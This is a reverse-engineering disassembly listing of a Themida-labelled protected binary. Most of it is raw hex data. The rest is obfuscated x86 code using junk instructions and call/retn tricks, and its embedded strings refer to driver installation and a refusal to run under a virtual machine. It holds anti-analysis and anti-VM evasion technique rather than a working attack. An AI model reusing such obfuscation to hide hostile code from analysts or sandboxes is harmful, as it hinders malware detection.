dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
dd 10h, 0FF000100h, 17FFEFFh, 1000000h, 4A000000h, 2, 0F000100h
dd 40800h
dword_5B5FD0 dd 94h, 5, 1, 0A28h, 2, 76726553h, 20656369h, 6B636150h
; DATA XREF: Themida_:005856A4o
dd 3220h, 1Dh dup(0)
dd 74666F53h, 65726177h, 6E69575Ch
db 65h, 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B4B7B
loc_5B6076: ; CODE XREF: sub_5B4B7B+43Fj
mov eax, esp
mov dx, di
mov [ebp+7E40AB9h], eax
mov edi, [ebp+7E41EC9h]
mov eax, eax
push esi
mov edi, 5CDCE4Eh
pop ecx
cmp dword ptr [ebp+7E413F1h], 0
jnz short loc_5B60A2
cmp dword ptr [ebp+7E40935h], 0
jz short loc_5B60BB
loc_5B60A2: ; CODE XREF: sub_5B4B7B+151Cj
push eax
push ebx
mov eax, eax
mov eax, 43Dh
mov [ebp+7E41479h], eax
lea ebx, [ebp+7E6E9F0h]
call ebx ; _iob
pop ebx
pop eax
loc_5B60BB: ; CODE XREF: sub_5B4B7B+1525j
cmp dword ptr [ebp+7E40935h], 0
jz short loc_5B60DB
push eax
push ebx
mov eax, 43Dh
mov [ebp+7E41479h], eax
lea ebx, [ebp+7E6E6DFh]
call ebx ; _iob
pop ebx
pop eax
loc_5B60DB: ; CODE XREF: sub_5B4B7B+1547j
cmc
xor edi, [ebp+7E43069h]
mov eax, eax
or [ebp+7E40E4Dh], eax
mov eax, eax
adc di, 2C3Eh
cmp dword ptr [ebp+7E413F1h], 0
jnz short loc_5B6103
cmp dword ptr [ebp+7E40935h], 0
jz short loc_5B6116
loc_5B6103: ; CODE XREF: sub_5B4B7B+157Dj
push eax
push ebx
mov eax, eax
mov eax, 0
lea ebx, [ebp+7E6E892h]
call ebx ; _iob
pop ebx
pop eax
loc_5B6116: ; CODE XREF: sub_5B4B7B+1586j
cmp dword ptr [ebp+7E40935h], 0
jz short loc_5B6130
push eax
push ebx
mov eax, 0
lea ebx, [ebp+7E6E743h]
call ebx ; _iob
pop ebx
pop eax
loc_5B6130: ; CODE XREF: sub_5B4B7B+15A2j
mov [ebp+7E40011h], edx
call near ptr loc_5B6142+2
enter 0D85h, 0BAh
cmc
xchg eax, edx
dec ebp
loc_5B6142: ; CODE XREF: sub_5B4B7B+15BBp
sub bh, ds:199D958Bh
in al, 7 ; DMA controller, 8237A-5.
; channel 3 current word count
pop edi
mov eax, eax
push 0
push ebx
call sub_5B6158
and [ebx-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_5B4B7B
; =============== S U B R O U T I N E =======================================
sub_5B6158 proc near ; CODE XREF: sub_5B4B7B+15D5p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5B6158 endp
; ---------------------------------------------------------------------------
dd 0FAA90101h, 0C08BF2A1h, 88E0Fh, 8E0F0000h, 2, 11E95F56h
dd 5000000h, 6B584D48h, 152925ABh, 0B1077759h, 0E13C8EB3h
dd 13F1BD83h, 750007E4h, 35BD8309h, 7E409h, 53501374h
dd 0B8C08Bh, 8D000000h, 0E6E7C49Dh, 5BD3FF07h, 35BD8358h
dd 7E409h, 53501174h, 0B8h, 119D8D00h, 0FF07E6E7h, 6A585BD3h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 0A434C355h, 0F0FA9E3Fh, 53006A9Bh, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 7C2C5908h, 8BCDC766h, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1B04h, 0C3574700h, 42BE833Eh, 2A3A727h, 46BFC08Bh
dd 835326FEh, 0E413F1BDh, 9750007h, 935BD83h, 740007E4h
dd 8B535013h, 0B8C0h, 9D8D0000h, 7E6E82Bh, 585BD3FFh, 935BD83h
dd 740007E4h, 0B8535011h, 0
; ---------------------------------------------------------------------------
lea ebx, [ebp+7E6E72Ah]
call ebx ; _iob
pop ebx
pop eax
jb loc_5B628B
movzx edx, cx
loc_5B628B: ; CODE XREF: Themida_:005B6282j
mov cx, 0D9BEh
mov ecx, [ebp+7E426E5h]
jz $+6
mov eax, eax
jg loc_5B62B1
jmp loc_5B62B1
; ---------------------------------------------------------------------------
dd 0C09C3287h, 0A35F4BB8h
db 0BAh
; ---------------------------------------------------------------------------
loc_5B62B1: ; CODE XREF: Themida_:005B629Dj
; Themida_:005B62A3j
mov eax, eax
mov dx, 4F17h
cmp dword ptr [ebp+7E413F1h], 0
jnz short loc_5B62C9
cmp dword ptr [ebp+7E40935h], 0
jz short loc_5B62DC
loc_5B62C9: ; CODE XREF: Themida_:005B62BEj
push eax
push ebx
mov eax, eax
mov eax, 0
lea ebx, [ebp+7E6E75Dh]
call ebx ; _iob
pop ebx
pop eax
loc_5B62DC: ; CODE XREF: Themida_:005B62C7j
mov [ebp+7E40661h], ecx
mov dh, ch
mov eax, eax
add ecx, [ebp+7E42DE1h]
mov ecx, [ebp+7E403E1h]
mov eax, eax
jns loc_5B6302
push edx
xor ecx, 334E8AD1h
pop edi
loc_5B6302: ; CODE XREF: Themida_:005B62F4j
cmp dword ptr [ebp+7E413F1h], 0
jnz short loc_5B6314
cmp dword ptr [ebp+7E40935h], 0
jz short loc_5B632D
loc_5B6314: ; CODE XREF: Themida_:005B6309j
push eax
push ebx
mov eax, eax
mov eax, 7D0h
mov [ebp+7E41479h], eax
lea ebx, [ebp+7E6E9F0h]
call ebx ; _iob
pop ebx
pop eax
loc_5B632D: ; CODE XREF: Themida_:005B6312j
cmp dword ptr [ebp+7E40935h], 0
jz short loc_5B634D
push eax
push ebx
mov eax, 7D0h
mov [ebp+7E41479h], eax
lea ebx, [ebp+7E6E6DFh]
call ebx ; _iob
pop ebx
pop eax
loc_5B634D: ; CODE XREF: Themida_:005B6334j
xor [ebp+7E42509h], eax
jmp loc_5B6360
; ---------------------------------------------------------------------------
dd 0ADEF0D78h, 0DC014Ah
; ---------------------------------------------------------------------------
loc_5B6360: ; CODE XREF: Themida_:005B6353j
mov eax, eax
mov dh, 80h
movsx edx, ax
mov byte ptr [ebp+7E42C2Dh], 53h
mov [ebp+7E41AA1h], ecx
push 99395F90h
push 0
push edx
call sub_5B6384
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B6384 proc near ; CODE XREF: Themida_:005B637Cp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5B6384 endp
; ---------------------------------------------------------------------------
shr byte ptr [ecx-1], 0B5h
popf
add esp, esp
pop es
lea eax, [ebp+7E43BDCh]
jmp loc_5B63B6
; ---------------------------------------------------------------------------
db 86h
dd 0A7A37A30h, 210CF12Fh, 0F8B6042h
db 81h, 0F9h
; ---------------------------------------------------------------------------
loc_5B63B6: ; CODE XREF: Themida_:005B63A2j
call eax
call near ptr loc_5B63C8+3
loc_5B63BD: ; DATA XREF: Themida_:00582DBCo
pushf
mov cl, 3Ah
push ebx
movsb
sub al, 99h
adc [edi+10h], ebp
xchg eax, ecx
loc_5B63C8: ; CODE XREF: Themida_:005B63B8p
xor dh, [esi+6840F6Eh]
; ---------------------------------------------------------------------------
dw 0
dd 8A0F00h, 5F000000h, 30618589h, 0BD8907E4h, 7E40931h
dd 2C2D85C6h, 8B5707E4h, 520668D3h, 6A9004h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0F5CA6AC3h
dd 0B5FFCB8Bh, 7E4019Dh, 38E0Fh, 0B70F0000h, 0DC858DFBh
dd 907E43Bh, 0E42569B5h, 89D0FF07h, 0E402459Dh, 4D858907h
dd 6A07E430h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 9749C351h, 0A4B251ABh, 0E7872F2Dh
dd 2C2D85C6h, 804307E4h, 286866D2h, 6ABC9070h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 29CCC351h, 0B58D23CEh, 0FF07E41Ch, 0E4019DB5h, 81665707h
dd 595A0FF2h, 3BDC858Dh, 0D28107E4h, 0F3268D1h, 8589D0FFh
dd 7E40E6Dh, 7C19D09h, 85C607E4h, 7E42C2Dh, 55006A4Ch
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 9A05965Fh, 669F8AEAh, 0D40FD281h, 0F1CA8152h, 5F793650h
dd 0DA1CE968h, 0CE9D9h, 0A7B00000h, 633D792h, 0D8DB3AE9h
dd 52601268h, 1C599501h, 805A07E4h, 0FF61B2EEh, 0E4019DB5h
dd 0F98D8907h, 8D07E403h, 0E43BDC85h, 51006A07h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 8FD05366h, 66D3B22Dh, 8F70CF81h, 8166D0FFh, 89F30EC2h
dd 0E41BD585h, 5DBD8B07h, 0C607E435h, 0E42C2D85h, 0C5B94607h
dd 685BFC0Ah, 0BADE0614h, 46DBC181h, 0B5FF1BB2h, 7E4019Dh
dd 13E9h, 0D7D90300h, 0C4ED71A0h, 87906C25h, 9B5E077Eh
dd 259F8E94h, 3BDC858Dh, 666007E4h, 0D080FB8Bh, 0D0FF614Bh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 74C35646h
dd 8B668B9Fh, 0CD8589D1h, 0E907E415h, 10h, 0E6B5CE22h
dd 4569AD5Ch, 79AEF28Bh, 0C10299EFh, 0E314DF81h, 85C63F36h
dd 7E42C2Dh, 50006A47h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1404h, 0C3504000h, 9D0160CAh, 7E40345h, 218D8D8Bh, 806107E4h
dd 0E268CEF1h, 8B8A0FB5h, 0E40FA9BDh, 9DB5FF07h, 6607E401h
dd 8B43D9BFh, 0E42A7995h, 0DC858D07h, 0F07E43Bh, 58Fh
dd 0F2816600h, 0D0FF2ECFh, 11E9h, 33580500h, 4540E111h
dd 94E482ECh, 216038C1h, 85898B4Eh, 7E41B81h, 1505BD33h
dd 85C607E4h, 7E42C2Dh, 51006A47h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1604h, 0C3514100h, 608942C0h, 29CBBF0Fh
dd 0E432F5B5h, 81666107h, 68D210E1h, 83D0B5F3h, 497C63B9h
dd 9DB5FF0Bh, 6A07E401h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 0DAD7C352h, 93B9877Bh
dd 8D506C74h, 0E43BDC85h, 53006A07h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 19DCC8C5h
dd 4DFEAFB7h, 8961B2BEh, 0E4231595h, 0E9D0FF07h, 6, 595F011Fh
dd 8589C8B9h, 7E413ADh, 2D85C6FCh, 7707E42Ch, 0B61958Bh
dd 0A36807E4h, 89F397A8h, 0E403A9BDh, 0E1B5FF07h, 5307E41Dh
dd 35C4B966h, 0D18B6659h, 3BDC858Dh, 8D0B07E4h, 7E40D7Dh
dd 0FC53D0FFh, 6985895Fh, 8B07E421h, 0E408A18Dh, 2D85C607h
dd 4707E42Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 14h, 39C35646h, 356D8D0Bh, 0BD8B07E4h, 7E425BDh, 28FAF668h
dd 67EA8187h, 0FF21B1DBh, 0E4019DB5h, 6E907h, 0E36D0000h
dd 0ED30559h, 3BDC858Dh, 6A07E4h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 0E9F833C3h, 0Ch, 0F6B21B0Ah
dd 0BC3BA195h, 4A6DFECFh, 0C6B2D0FFh, 12C58589h, 63B107E4h
dd 2C2D85C6h, 664307E4h, 0FC68C88Bh, 66BC8E6Eh, 0FF104ABFh
dd 0E4019DB5h, 9E907h, 67CE0000h, 79B86EC8h, 8D7A0381h
dd 0E43BDC85h, 0E99D8907h, 0FF07E431h, 52006AD0h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 89683938h, 0E41FD585h, 0DDBA6607h, 2D85C679h, 4507E42Ch
dd 348F71BFh, 69696868h, 6A8E72h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 0CCFB33C3h, 0BE9h, 83FE8D00h
dd 7E37B9FEh, 0F6E2AD37h, 0FFD68B66h, 0E4019DB5h, 0A1B96607h
dd 0DC858D8Ch, 8B07E43Bh, 0E4207D95h, 0E9D0FF07h, 7, 91623F18h
dd 89A03ACCh, 0E4166585h, 0ABBF5707h, 59695A17h, 2C2D85C6h
dd 0F4407E4h, 688h, 0A98D8B00h, 6807E418h, 0B8F2EC64h
dd 0B5FF76B6h, 7E4019Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Ch, 40C35545h, 70E691DCh, 0BCC08025h, 3D853160h
dd 6607E40Eh, 2AC4C381h, 0B18D2361h, 8D07E42Fh, 0E43BDC85h
dd 43CA8107h, 0FF2C4574h, 850FD0h, 89000000h, 0E4140585h
dd 0C6F98B07h, 0E42C2D85h, 0FA8B4307h, 764AA768h, 0D5BD8BC0h
dd 0FF07E417h, 0E4019DB5h, 0F6BA6607h, 0DC858D30h, 6A07E43Bh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 8599C350h, 6055C344h, 8E8h, 97331600h, 786617E5h
dd 0ABB6626h, 0BA665F8Ah, 6661774Fh, 0D0FFCA8Bh, 718589F5h
dd 8B07E409h, 0E418DD8Dh, 22BD8007h, 7E737h, 0FA840Fh
dd 0BD8B0000h, 7E408EDh, 4858DF9h, 8007E737h, 9E8A7D2h
dd 67000000h, 2AC73D6Eh, 61AA80EFh, 7BEF8166h, 6A505973h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 48B2C356h, 0F0ABB8A0h, 0C9816650h, 0BA5AA9DDh
dd 44D91D3h, 10E9016Ah, 88000000h, 819778Bh, 1361A4B6h
dd 89EDB43Ch, 6A247C8Ah, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1404h, 0C3524200h, 0C9BF0F88h, 19FD8589h
dd 6A07E4h, 3D19D89h, 666007E4h, 0F380F88Bh, 95FF61CBh
dd 7E40E6Dh, 18F1BD8Bh, 858907E4h, 7E40DA1h, 23FF6AFCh
dd 0E42205BDh, 0B9665207h, 0FF5A3CB9h, 0E40DA1B5h, 51006A07h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 0A5D95120h, 0D68B8D91h, 304D95FFh, 5E907E4h, 6B000000h
dd 53FC66A3h, 958BC08Bh, 7E42415h, 13F1BD83h, 750007E4h
dd 35BD8309h, 7E409h, 53501974h, 0D1B8C08Bh, 89000007h
dd 0E4147985h, 0F09D8D07h, 0FF07E6E9h, 83585BD3h, 0E40935BDh
dd 17740007h, 0D1B85350h, 89000007h, 0E4147985h, 0DF9D8D07h
dd 0FF07E6E6h, 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 0D933C352h, 2612AD67h
dd 5E9A6h, 0D2A70000h, 8B0F4C3Eh, 0E409ED8Dh, 6E96007h
dd 95000000h, 10F34C42h, 958B6155h, 7E41859h, 6AC08Bh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 0E0191FC3h, 0FBE8F8Bh, 685h, 25B58900h, 0C607E404h
dd 0E42C2D85h, 6A4707h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 1E0D21C3h, 7B0A076Ah, 0F7C16857h
dd 8B6693C8h, 9DB5FFCEh, 0F07E401h, 858DCFBFh, 7E43BDCh
dd 1B6AC9B9h, 66D0FF63h, 1AF2E981h, 5DBD8B50h, 6607E432h
dd 8D8D91BFh, 0E73B4585h, 85896007h, 7E43219h, 0E069BE66h
dd 9400C761h, 89000000h, 0E429BD8Dh, 0BF0F5807h, 45B58DFFh
dd 6607E73Bh, 0F856D68Bh, 8D29D0FFh, 7E4191Dh, 3B45858Dh
dd 10E907E7h, 2D000000h, 0D17D79BCh, 58F73D5Eh, 0C604EB55h
dd 83864532h, 0F060478h, 2285h, 8F0F6000h, 3, 29C7BF0Fh
dd 0E41809BDh, 85C76107h, 7E73BD9h, 1, 0CF816657h, 835FCAF2h
dd 0E43345BDh, 850F0007h, 62h, 1C158D0Bh, 12E907E4h, 32000000h
dd 3552EAh, 766A5761h, 729E47AFh, 4AED4794h, 0D9BD8341h
dd 7E73Bh, 38850Fh, 850F0000h, 4, 8927BF66h, 12699D89h
dd 0BD8307E4h, 7E41465h, 1B840F00h, 66000000h, 85C7FE8Bh
dd 7E4231Dh, 0
; ---------------------------------------------------------------------------
pusha
mov [ebp+7E42359h], ecx
mov ebx, [ebp+7E413A9h]
popa
mov bx, ds
push 0
push ecx
call sub_5B6CB8
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B6CB8 proc near ; CODE XREF: Themida_:005B6CB0p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_5B6CB8 endp
; ---------------------------------------------------------------------------
dd 4A8ED918h, 661845A4h, 601FD981h, 0F04C3F6h, 56F84h
dd 8D8B5600h, 7E40EF5h, 0C7D18B5Fh, 0E4201585h, 7, 5CC98100h
dd 800D356Fh, 0E7372FBDh, 850F0007h, 5, 24CA8166h, 2D85C634h
dd 4707E42Ch, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 0D9C35040h, 0CA8B6617h, 0E45B8668h, 0F9BF0FE3h
dd 19DB5FFh, 0C88B07E4h, 3BDC858Dh, 6A07E4h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0E8E306C3h
dd 81D0FF46h, 95EEDAC7h, 1046862h, 0C88B0000h, 16BD9D8Dh
dd 0BF6607E4h, 0E953C41Eh, 9, 626CAF55h, 62A688B0h, 0BD3153B2h
dd 7E412C9h, 81D0FF5Ah, 453814C1h, 0BD858D4Fh, 8B07E416h
dd 0E401A5BDh, 6A5007h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 0BF666BC3h, 10E867B5h, 9A000000h
dd 0B151C820h, 715A9A55h, 404C8987h, 0B92FE6C6h, 2D68FD44h
dd 0E1858D5Ah, 0F07E736h, 68Ch, 0C98D2B00h, 5007E42Dh
dd 0BE9h, 7BC77400h, 608E0F72h, 0E3589527h, 2DB4858Dh
dd 0B58907E7h, 7E4266Dh, 0B7B86050h, 0F0D5DB8h, 0FF61F7B7h
dd 0E4216995h, 0BD035607h, 7E413D5h, 599D8959h, 8307E426h
dd 6A0CC4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 8BE788C3h, 0E41C158Dh, 0D2B70F07h, 8068006Ah
dd 6A000000h, 6A006A03h, 6800h, 858D8000h, 7E72DB4h, 0D595FF50h
dd 8907E41Fh, 0E736C485h, 2D85C607h, 4707E42Ch, 0B15E8768h
dd 9DB5FFC7h, 8D07E401h, 0E43BDC85h, 6AD0FF07h, 0C4B5FF00h
dd 0FF07E736h, 998D8BD0h, 8907E406h, 0E40FA18Dh, 37D03D07h
dd 830F0000h, 2Dh, 0FFFB8B66h, 0E736C4B5h, 0FEB70F07h
dd 97195FFh, 8B6607E4h, 6E9D7h, 0B64B0000h, 2E1CE195h
dd 13DE9h, 8B92B600h, 0E4147595h, 0C4B5FF07h, 6A07E736h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 0FD3C356h, 386h, 0FABF0F00h, 97195FFh, 6E807E4h
dd 0E3000000h, 0DD1EF6ADh, 5EEE80F5h, 6A006A59h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 7262C356h, 0E58D8B70h, 6A07E417h, 0AE800h, 66140000h
dd 0D5470CEFh, 54019261h, 68A0Fh, 9D890000h, 7E40211h
dd 0F8006A5Fh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1B0424h, 56460000h, 0FD409C3h, 43B70D30h, 95B589E9h
dd 6A07E421h, 8E900h, 22CD0000h, 0B578AB60h, 6AC460h, 39506ABAh
dd 0C8858D04h, 8007E736h, 858968F6h, 7E41E59h, 50006A50h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 0A257249h, 0E84B2491h, 12h, 137EFBF5h, 680CE233h, 599DDD76h
dd 6ACF886Fh, 8529BF9Eh, 7E406ADh, 0D595FF59h, 0F07E41Fh
dd 581h, 0B7C1BA00h, 0F88353E9h, 11850FFFh, 66000001h
dd 858DFE8Bh, 7E6ED6Ch, 0FE8h, 0AA554100h, 84973CE4h, 73DBB3ECh
dd 13E23823h, 5FF08A56h, 5E859h, 0BDB20000h, 8B3013B5h
dd 0E4222195h, 0D0FF5907h, 6630E580h, 0D367D181h, 0B966006Ah
dd 6A1154h, 0BD895360h, 7E41495h, 6A615Fh, 1890Fh, 6AF80000h
dd 118D8900h, 6A07E430h, 0FE800h, 0F7F20000h, 0F0B7C4C7h
dd 1126971Eh, 0A9DF33DEh, 5A98B6B8h, 8B66006Ah, 0C8858DC8h
dd 8B07E736h, 0E41C858Dh, 0E1815007h, 37EB1F7Ch, 1FD595FFh
dd 9BB207E4h, 0FFFF883h, 6F85h, 0DE900h, 85710000h, 9A02882Ch
dd 7D4192A1h, 8D4F6EA9h, 0E730D0B5h, 0FEA0BA07h, 4DBF2ECDh
dd 8D3CBF7Dh, 0E6DBD685h, 0F98B6607h, 9E9D0FFh, 7D000000h
dd 2672300Eh, 8C105486h, 0EE8006Ah, 7A000000h, 0D3C22402h
dd 2A0018DDh, 5827ED12h, 59D08BE5h, 166595FFh, 0BD0B07E4h
dd 7E421BDh, 8D896057h, 7E42155h, 0E5BD89h, 5F6107E4h
dd 36C48589h, 8D8B07E7h, 7E42ED9h, 1919589h, 6A07E4h, 8D10C180h
dd 0E736BC85h, 5089B207h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 2CC35545h, 0BE4AA8DFh, 11E8h, 84E9E800h
dd 1F32304Eh, 20751368h, 0D8E53E9Dh, 0DE80B142h, 46A59C3h
dd 68A0Fh, 0B5890000h, 7E400FDh, 2D39858Dh, 6A07E4h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 42D399C3h, 8C7AABAAh, 0A358D0Bh, 0BD0307E4h, 7E40B15h
dd 10E950h, 0B160000h, 5D777FE4h, 3C2F7CC3h, 1A681030h
dd 6A56C0h, 6AD1B70Fh, 9E900h, 0AE910000h, 2DEBFC5Eh, 6A26A59Ch
dd 55006A01h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 0B562FBF9h, 958B1F62h, 7E41B19h, 0FFD08B66h
dd 0E736C4B5h, 8C0F6007h, 6, 890Fh, 52B20000h, 595FF61h
dd 8907E414h, 0E4244D85h, 1B6AE907h, 0CF810000h, 5A8F6B45h
dd 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
dd 56460000h, 0B83BADC3h, 0B589EB3Ch, 7E418C5h, 13F1BD83h
dd 750007E4h, 35BD8309h, 7E409h, 53501974h, 0D2B8C08Bh
dd 89000007h, 0E4147985h, 0F09D8D07h, 0FF07E6E9h, 83585BD3h
dd 0E40935BDh, 17740007h, 0D2B85350h, 89000007h, 0E4147985h
dd 0DF9D8D07h, 0FF07E6E6h, 52585BD3h, 1CFD8589h, 665907E4h
dd 16B2F181h, 0C08BFE8Bh, 201585C7h, 107E4h, 0B70F0000h
dd 0E7B868C8h, 0B5FFCEE4h, 7E40DE1h, 3BDC858Dh, 0D0FF07E4h
dd 23058589h, 858D07E4h, 7E73920h, 0DD858D50h, 5007E73Bh
dd 168h, 595FF80h, 0B07E423h, 0C70A75C0h, 0E4026185h, 107h
dd 0DBD46800h, 0B5FFC005h, 7E40DE1h, 3BDC858Dh, 0D0FF07E4h
dd 1F98589h, 858D07E4h, 7E72B6Dh, 9DB5FF50h, 0FF07E401h
dd 0E41B8195h, 74C00B07h, 8DD88B0Bh, 0E73B2085h, 0D3FF5007h
dd 3B20858Dh, 836607E7h, 0A750938h, 2BFD85C7h, 107E4h
dd 95FF0000h, 7E412C5h, 0FF25h, 5F88300h, 85C70A73h, 7E40101h
dd 1, 5E59D29h, 816607E4h, 80964BC7h, 0BD80D0C1h, 7E7372Fh
dd 3A840F00h, 33000000h, 0E401198Dh, 5D958907h, 8307E425h
dd 0E73BD9BDh, 840F0007h, 2Ch, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 51C35141h, 8B165F58h, 19CEE9F9h
dd 0B5890000h, 7E414E9h, 2BFDBD83h, 0F0007E4h, 0E385h
dd 0FE8B6600h, 36F9858Dh, 6A07E7h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 788B1BC3h, 685C3395h
dd 2EB950A6h, 0B200DAEFh, 0B6016A79h, 66006A5Fh, 35C8DF81h
dd 3860Fh, 0C6800000h, 6A006A1Ah, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0F7C355h
dd 20998D8Bh, 95FF07E4h, 7E40E6Dh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 0EDC35040h, 0C35E3F64h, 0B39C177h
dd 0E40455BDh, 81EF8107h, 8916AE47h, 0E7372385h, 50006A07h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 6A17E035h, 15BD8BFFh, 0FF07E40Bh, 0E73723B5h
dd 41BD8B07h, 0FF07E422h, 0E4304D95h, 2EF18007h, 2B34858Dh
dd 0BA6607E7h, 0ECB566F0h, 7DBD8B50h, 0FF07E415h, 0E41BD595h
dd 0A8BF6607h, 0BE858916h, 8907E72Bh, 0E42AF9B5h, 41858D07h
dd 8A07E72Bh, 0FFFC50F1h, 0E72BBEB5h, 8195FF07h, 0F07E41Bh
dd 58Ah, 0D7816600h, 85899182h, 7E4230Dh, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 17h, 76C35040h, 6695A952h
dd 0F935F781h, 0FE9h, 84A2E000h, 48703389h, 818263CEh
dd 22255AF6h, 2BAF858Dh, 8E907E7h, 42000000h, 0EFC0495Ah
dd 501B3BC6h, 8E9h, 7C9FCF00h, 39789F6Bh, 28E0F28h, 0B2000000h
dd 0BEB5FF26h, 8907E72Bh, 0E4041195h, 0D0B70F07h, 1B8195FFh
dd 8C0F07E4h, 3, 8BC8B70Fh, 0E40A758Dh, 0D2858907h, 6A07E72Bh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
dd 43000000h, 0D531C353h, 9A17492Bh, 8DF615A4h, 0E72B8E85h
dd 958B5007h, 7E42139h, 0E758D8Bh, 0B5FF07E4h, 7E72BBEh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0C7C35545h
dd 0B589FB67h, 7E429DDh, 1B8195FFh, 870F07E4h, 18h, 13E9h
dd 420B0400h, 0E29EB7B2h, 0EC583849h, 3295A127h, 9082A072h
dd 2BCA8589h, 6A07E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1A0424h, 53430000h, 0DD4E9BC3h, 0E57DE5E5h, 8DCBB70Fh
dd 0E72B8185h, 51006A07h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 36AB86B7h, 458D8966h
dd 5007E405h, 0B5D98166h, 0BEB5FF52h, 6A07E72Bh, 3E85100h
